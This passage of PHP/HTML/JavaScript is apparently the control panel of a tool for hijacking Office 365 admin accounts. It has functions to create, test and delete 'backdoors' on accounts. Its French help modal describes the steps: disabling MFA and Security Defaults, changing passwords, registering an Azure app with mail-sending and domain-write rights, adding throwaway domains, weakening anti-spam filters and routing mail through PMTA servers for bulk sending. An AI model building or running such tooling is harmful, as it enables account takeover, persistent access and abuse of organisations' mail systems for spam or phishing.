<button onclick="clearConsole()"><i class="fa fa-trash"></i> Clear</button>
</div>
</div>
<div class="console" id="console">
<span class="time">[System]</span> <span class="info">Office 365 Workflow ready</span><br>
<?php if($selectedAccount): ?>
<span class="time">[Account]</span> <span class="success"><?=htmlspecialchars($selectedAccount['name']??$selectedAccount['admin_email'])?> (ID: <?=$selectedId?>)</span><br>
<?php endif; ?>
</div>
</div>
</div>
</div>
</div>
<!-- VNC MODAL -->
<div class="vnc-modal" id="vncModal">
<div class="vnc-modal-header">
<h3><i class="fa fa-desktop"></i> VNC Remote Desktop</h3>
<button onclick="closeVNC()"><i class="fa fa-times"></i> Fermer</button>
</div>
<div class="vnc-modal-body" id="vncContainer"></div>
</div>
<script>
var accountId = <?=$selectedId?:0?>;
document.getElementById('accountSearch').addEventListener('change', function() {
var val = this.value;
if (val && !isNaN(val)) {
window.location.href = '?account_id=' + val;
}
});
function loadZones() {
log('📋 Chargement des zones...', 'warning');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=list_cf_zones'})
.then(r => r.json())
.then(d => {
if(d.success && d.zones) {
let sel = document.getElementById('cf_zone_select');
sel.innerHTML = '<option value="">-- Sélectionner une zone (' + d.zones.length + ') --</option>';
d.zones.forEach(z => {
sel.innerHTML += '<option value="' + z.id + '" data-name="' + z.name + '">' + z.name + '</option>';
});
document.getElementById('zoneSelector').style.display = 'block';
log('✅ ' + d.zones.length + ' zones chargées', 'success');
}
});
}
function saveZone() {
let sel = document.getElementById('cf_zone_select');
let zoneId = sel.value;
let zoneName = sel.options[sel.selectedIndex].dataset.name;
if(zoneId) {
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=save_cf_zone&zone_id=' + zoneId + '&zone_name=' + zoneName})
.then(r => r.json())
.then(d => {
if(d.success) log('✅ Zone sélectionnée: ' + zoneName, 'success');
});
}
}
function log(msg, type='info') {
// Sauvegarder dans le fichier
fetch('console-history.php', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'message=' + encodeURIComponent(msg) + '&type=' + type});
var c = document.getElementById('console');
var t = new Date().toLocaleTimeString();
c.innerHTML += '<span class="time">[' + t + ']</span> <span class="' + type + '">' + msg + '</span><br>';
c.scrollTop = c.scrollHeight;
}
function clearConsole() {
document.getElementById('console').innerHTML = '<span class="time">[System]</span> <span class="info">Console cleared</span><br>';
}
function checkServices() {
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=check_services'})
.then(r => r.json())
.then(d => {
if(d.success) {
Object.keys(d.services).forEach(k => {
var card = document.getElementById('card-' + k);
if(card) card.className = 'status-card ' + (d.services[k].running ? 'running' : '');
});
}
});
}
function restartServices() {
log('🔄 Réanimation des services...', 'warning');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=restart_services'})
.then(r => r.json())
.then(d => {
if(d.success) {
log('✅ ' + d.message, 'success');
setTimeout(checkServices, 2000);
}
});
}
function killAll() {
log('🛑 Arrêt des processus...', 'warning');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=kill_all'})
.then(r => r.json())
.then(d => {
log('✅ Processus arrêtés', 'success');
checkServices();
});
}
function openVNC() {
log('🖥️ Ouverture VNC...', 'info');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=start_vnc'})
.then(r => r.json())
.then(d => {
document.getElementById('vncContainer').innerHTML = '<iframe src="http://<?=$config['vnc_host']?>:<?=$config['novnc_port']?>/vnc_lite.html?autoconnect=true&resize=scale"></iframe>';
document.getElementById('vncModal').classList.add('active');
setTimeout(checkServices, 2000);
});
}
function closeVNC() {
document.getElementById('vncModal').classList.remove('active');
document.getElementById('vncContainer').innerHTML = '';
}
function openBrowser(url) {
log('🌐 Ouverture: ' + url, 'info');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=start_browser&url=' + encodeURIComponent(url)})
.then(r => r.json())
.then(d => {
log('✅ Browser lancé', 'success');
checkServices();
});
}
function runStep(step) {
if(!accountId) return alert('Sélectionnez un compte');
log('▶ Exécution Step ' + step + '...', 'warning');
document.querySelectorAll('.step-run').forEach(b => b.disabled = true);
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=run_step&step=' + step + '&account_id=' + accountId})
.then(r => r.json())
.then(d => {
document.querySelectorAll('.step-run').forEach(b => b.disabled = false);
if(d.success) {
log('✅ Step ' + step + ' terminé', 'success');
if(d.output) {
d.output.split('\n').forEach(line => {
if(line.trim()) log(line, 'info');
});
}
} else {
log('❌ Erreur: ' + (d.message||'Inconnu'), 'error');
}
})
.catch(e => {
document.querySelectorAll('.step-run').forEach(b => b.disabled = false);
log('❌ Erreur réseau', 'error');
});
}
function createBackdoor() {
if(!accountId) return alert('Sélectionnez un compte');
log('🔐 Création backdoor...', 'warning');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=create_backdoor&account_id=' + accountId})
.then(r => r.json())
.then(d => {
if(d.success) log('✅ ' + d.message, 'success');
else log('❌ ' + d.message, 'error');
});
}
function testSpecificBackdoor(email, pass) {
log('🔬 Test backdoor: ' + email, 'warning');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=test_specific_backdoor&email=' + encodeURIComponent(email) + '&password=' + encodeURIComponent(pass)})
.then(r => r.json())
.then(d => {
if(d.success) log('✅ ' + d.message, 'success');
else log('❌ ' + d.message, 'error');
});
}
// Sauvegarder le compte Cloudflare sélectionné
document.getElementById('cfAccountSelect')?.addEventListener('change', function() {
const cfId = this.value;
if(cfId) {
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=save_cf_account&cf_id=' + cfId})
.then(r => r.json())
.then(d => { if(d.success) log('☁️ Compte Cloudflare sélectionné: ' + this.options[this.selectedIndex].text, 'success'); });
}
});
function deleteBackdoor(id) {
if(!confirm('Supprimer ce backdoor?')) return;
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=delete_backdoor&id=' + id})
.then(r => r.json())
.then(d => {
if(d.success) { log('✅ Backdoor supprimé', 'success'); location.reload(); }
else log('❌ ' + d.message, 'error');
});
}
function testBackdoor() {
if(!accountId) return alert('Sélectionnez un compte');
log('🔬 Test backdoor...', 'warning');
fetch('', {method:'POST', headers:{'Content-Type':'application/x-www-form-urlencoded'}, body:'action=test_backdoor&account_id=' + accountId})
.then(r => r.json())
.then(d => {
if(d.success) {
log('✅ ' + d.message, 'success');
log('📧 ' + d.email, 'info');
} else {
log('❌ ' + d.message, 'error');
}
});
}
// Init
checkServices();
setInterval(checkServices, 5000);
</script>
<!-- Modal Aide Workflow -->
<div id="workflowHelpModal" style="display:none; position:fixed; top:0; left:0; right:0; bottom:0; background:rgba(0,0,0,0.9); z-index:9999; overflow-y:auto;">
<div style="background:#1a1a2e; border-radius:12px; padding:30px; max-width:1000px; margin:40px auto; border:1px solid #00d4ff;">
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:20px;">
<h4 style="color:#00d4ff; margin:0;"><i class="fas fa-info-circle"></i> Office 365 Workflow - Guide Complet</h4>
<button onclick="document.getElementById('workflowHelpModal').style.display='none'" style="background:none; border:none; color:#fff; font-size:24px; cursor:pointer;">&times;</button>
</div>
<div style="color:#ccc; line-height:1.6; font-size:12px;">
<!-- Step 2 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #f6ad55;">
<h6 style="color:#f6ad55; margin:0 0 6px 0;"><i class="fas fa-shield-alt"></i> 2. Check Blocked/MFA <span style="background:#6366f1; padding:2px 6px; border-radius:4px; font-size:9px;">PowerShell</span></h6>
<p style="margin:0 0 6px 0;">Teste connexion SMTP pour détecter si compte bloqué ou MFA activé.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> admin_email, admin_password
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> status (Active/Blocked/MFA_Required)
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">office-accounts-edit.php</span> → colonne "Status" mise à jour |
<span style="color:#f6ad55;">office-management.php</span> → filtres par status
</div>
</div>
<!-- Step 3 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #fc8181;">
<h6 style="color:#fc8181; margin:0 0 6px 0;"><i class="fas fa-unlock"></i> 3. Remove MFA <span style="background:#ef4444; padding:2px 6px; border-radius:4px; font-size:9px;">MANUEL noVNC</span></h6>
<p style="margin:0 0 6px 0;">Désactive MFA + Security Defaults via portail Azure. Ouvre Chrome dans noVNC.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> admin_email, admin_password, CAPTCHA manuel
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> MFA OFF, Security Defaults OFF
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">office-accounts-edit.php</span> → status passe de "MFA_Required" à "Active" |
Permet les étapes suivantes (API Graph)
</div>
</div>
<!-- Step 4 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #68d391;">
<h6 style="color:#68d391; margin:0 0 6px 0;"><i class="fas fa-key"></i> 4. Change Password <span style="background:#6366f1; padding:2px 6px; border-radius:4px; font-size:9px;">PowerShell</span></h6>
<p style="margin:0 0 6px 0;">Génère nouveau mot de passe sécurisé, sauvegarde l'ancien dans historique.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> admin_email, admin_password (ancien)
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> admin_password (nouveau), old_passwords[]
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">office-accounts-edit.php</span> → "Password" mis à jour + section "Historique Credentials" (3 derniers backups)
</div>
</div>
<!-- Step 5 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #63b3ed;">
<h6 style="color:#63b3ed; margin:0 0 6px 0;"><i class="fas fa-id-card"></i> 5. Azure App + Credentials <span style="background:#6366f1; padding:2px 6px; border-radius:4px; font-size:9px;">PowerShell</span></h6>
<p style="margin:0 0 6px 0;">Crée App Azure AD avec permissions: Mail.Send, Domain.ReadWrite.All, User.Read.All</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> admin_email, admin_password
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> app_id, app_secret, tenant_id
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">office-accounts-edit.php</span> → section "Azure App Credentials" (Client ID, Secret, Tenant) |
<span style="color:#68d391;">Requis pour Steps 6,7,9</span>
</div>
</div>
<!-- Step 6 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #b794f4;">
<h6 style="color:#b794f4; margin:0 0 6px 0;"><i class="fas fa-list"></i> 6. Check Domains <span style="background:#6366f1; padding:2px 6px; border-radius:4px; font-size:9px;">PowerShell</span></h6>
<p style="margin:0 0 6px 0;">Liste domaines existants du tenant O365 via API Graph, synchronise avec DB locale.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> app_id, app_secret, tenant_id
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> domains_list[], domains_pool sync
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">office-accounts-edit.php</span> → section "Domaines Ajoutés et Vérifiés" |
<span style="color:#f6ad55;">domains-management.php</span> → Pool Domaines mis à jour (provider=office365)
</div>
</div>
<!-- Step 7 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #f48120;">
<h6 style="color:#f48120; margin:0 0 6px 0;"><i class="fab fa-cloudflare"></i> 7. Cloudflare Domains <span style="background:#8b5cf6; padding:2px 6px; border-radius:4px; font-size:9px;">Python</span></h6>
<p style="margin:0 0 6px 0;">Crée 5 sous-domaines aléatoires CF + DNS (MX,SPF,Autodiscover) + ajout O365 + vérif TXT auto.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> account_id, CF zone_id, CF api_key, O365 creds
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> 5 domaines VERIFIED, DNS records, DB sync
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">domains-management.php</span> → 5 nouveaux domaines (provider=cloudflare, status=VERIFIED) |
<span style="color:#f6ad55;">office-accounts-edit.php</span> → +5 domaines vérifiés |
<span style="color:#f6ad55;">Cloudflare</span> → DNS records créés
</div>
</div>
<!-- Step 8 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #48bb78;">
<h6 style="color:#48bb78; margin:0 0 6px 0;"><i class="fas fa-globe"></i> 8. FreeDNS Domains <span style="background:#8b5cf6; padding:2px 6px; border-radius:4px; font-size:9px;">Python/Selenium</span> <span style="background:#f59e0b; padding:2px 6px; border-radius:4px; font-size:9px; color:#000;">CAPTCHA</span></h6>
<p style="margin:0 0 6px 0;">Crée 5 sous-domaines FreeDNS → pointent vers 151.80.235.110 → vérif via fichier HTTP.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> FreeDNS login, base_domain, CAPTCHA manuel
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> 5 sous-domaines, fichiers /.well-known/
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">freedns-config.php</span> → nouveaux domaines disponibles |
<span style="color:#f6ad55;">Serveur 151.80.235.110</span> → fichiers vérification créés |
<span style="color:#f6ad55;">domains-management.php</span> → provider=freedns
</div>
</div>
<!-- Step 9 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #4fd1c5;">
<h6 style="color:#4fd1c5; margin:0 0 6px 0;"><i class="fas fa-plus-circle"></i> 9. Add Domain to Office <span style="background:#8b5cf6; padding:2px 6px; border-radius:4px; font-size:9px;">Python</span></h6>
<p style="margin:0 0 6px 0;">Ajoute domaines sélectionnés à O365 via API Graph + crée TXT verif + vérifie.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> domain, app_id, app_secret, tenant_id
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> domain verified O365, TXT record
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">domains-management.php</span> → status PENDING→VERIFIED |
<span style="color:#f6ad55;">office-accounts-edit.php</span> → domaine apparaît vérifié |
<span style="color:#f6ad55;">O365 Admin</span> → domaine visible
</div>
</div>
<!-- Step 10 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #ed8936;">
<h6 style="color:#ed8936; margin:0 0 6px 0;"><i class="fas fa-exchange-alt"></i> 10. Config Exchange <span style="background:#6366f1; padding:2px 6px; border-radius:4px; font-size:9px;">PowerShell</span></h6>
<p style="margin:0 0 6px 0;">Configure Exchange Online: domaines acceptés, règles transport pour routage emails.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> admin_email, admin_password, domains_list
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> Accepted domains, Transport rules
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">Exchange Admin Center</span> → Mail flow > Accepted domains |
<span style="color:#f6ad55;">Console Output</span> → liste domaines configurés
</div>
</div>
<!-- Step 11 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #e53e3e;">
<h6 style="color:#e53e3e; margin:0 0 6px 0;"><i class="fas fa-ban"></i> 11. Anti-Spam <span style="background:#6366f1; padding:2px 6px; border-radius:4px; font-size:9px;">PowerShell</span></h6>
<p style="margin:0 0 6px 0;">Configure 15 règles anti-spam Exchange: désactive filtres agressifs, whitelist IPs PMTA.</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> admin credentials, PMTA IPs list
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> 15 spam rules, IP whitelist
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">Exchange Admin</span> → Protection > Spam filter policies |
<span style="color:#68d391;">Améliore délivrabilité des emails sortants</span>
</div>
</div>
<!-- Step 12 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #9f7aea;">
<h6 style="color:#9f7aea; margin:0 0 6px 0;"><i class="fas fa-plug"></i> 12. Add Connector <span style="background:#6366f1; padding:2px 6px; border-radius:4px; font-size:9px;">PowerShell</span></h6>
<p style="margin:0 0 6px 0;">Crée connecteur sortant Exchange qui route emails vers serveurs PMTA (smart host).</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> admin creds, PMTA IPs, domains
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> Outbound connector, Smart host
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">Exchange Admin</span> → Mail flow > Connectors |
<span style="color:#68d391;">Emails sortants passent par PMTA</span>
</div>
</div>
<!-- Step 13 -->
<div style="background:#2d3748; padding:12px; border-radius:8px; margin-bottom:10px; border-left:4px solid #38b2ac;">
<h6 style="color:#38b2ac; margin:0 0 6px 0;"><i class="fas fa-check-double"></i> 13. Finalisation</h6>
<p style="margin:0 0 6px 0;">Vérifie toutes les étapes complétées et marque le compte comme "Ready".</p>
<div style="display:flex; gap:10px; font-size:11px; margin-bottom:6px;">
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#68d391;">📥 IN:</strong> account_id, previous steps OK
</div>
<div style="flex:1; background:#1a202c; padding:6px; border-radius:4px;">
<strong style="color:#fc8181;">📤 OUT:</strong> status = "Ready"
</div>
</div>
<div style="background:#1e293b; padding:6px; border-radius:4px; font-size:10px;">
<strong style="color:#00d4ff;">🖥️ IMPACT:</strong>
<span style="color:#f6ad55;">office-accounts-edit.php</span> → Status = Ready (vert) |
<span style="color:#f6ad55;">office-management.php</span> → compte filtrable par "Ready" |
<span style="color:#68d391;">Compte utilisable pour envoi emails</span>
</div>
</div>
<hr style="border-color:#333; margin:15px 0;">
<h6 style="color:#00d4ff; margin-bottom:10px;"><i class="fas fa-desktop"></i> Boutons Console (Header)</h6>
<div style="display:flex; gap:10px; flex-wrap:wrap; margin-bottom:15px;">
<div style="background:#6366f1; padding:8px 12px; border-radius:6px; font-size:11px;">
<strong>🖥️ VNC</strong> - Ouvre noVNC pour voir/interagir avec Chrome (CAPTCHA, portail Azure)
</div>
<div style="background:#f59e0b; padding:8px 12px; border-radius:6px; font-size:11px; color:#000;">
<strong>🔄 Réanimer</strong> - Redémarre XVFB + x11vnc + noVNC si bloqué
</div>
<div style="background:#ef4444; padding:8px 12px; border-radius:6px; font-size:11px;">
<strong>⏹️ Stop</strong> - Tue tous les process Chrome/VNC
</div>
</div>
<div style="display:flex; gap:10px; flex-wrap:wrap;">
<span style="background:#22c55e; padding:4px 10px; border-radius:12px; font-size:10px;">✅ Auto</span>
<span style="background:#f59e0b; padding:4px 10px; border-radius:12px; font-size:10px; color:#000;">⚠️ CAPTCHA</span>
<span style="background:#ef4444; padding:4px 10px; border-radius:12px; font-size:10px;">🖐️ Manuel</span>
<span style="background:#6366f1; padding:4px 10px; border-radius:12px; font-size:10px;">💻 PowerShell</span>
<span style="background:#8b5cf6; padding:4px 10px; border-radius:12px; font-size:10px;">🐍 Python</span>
</div>
</div>
<div style="margin-top:20px; text-align:right;">
<button onclick="document.getElementById('workflowHelpModal').style.display='none'" class="btn btn-primary">Compris !</button>
</div>
</div>
</div>
<?php include("includes/chatbot-widget.php"); ?>
</body>
</html>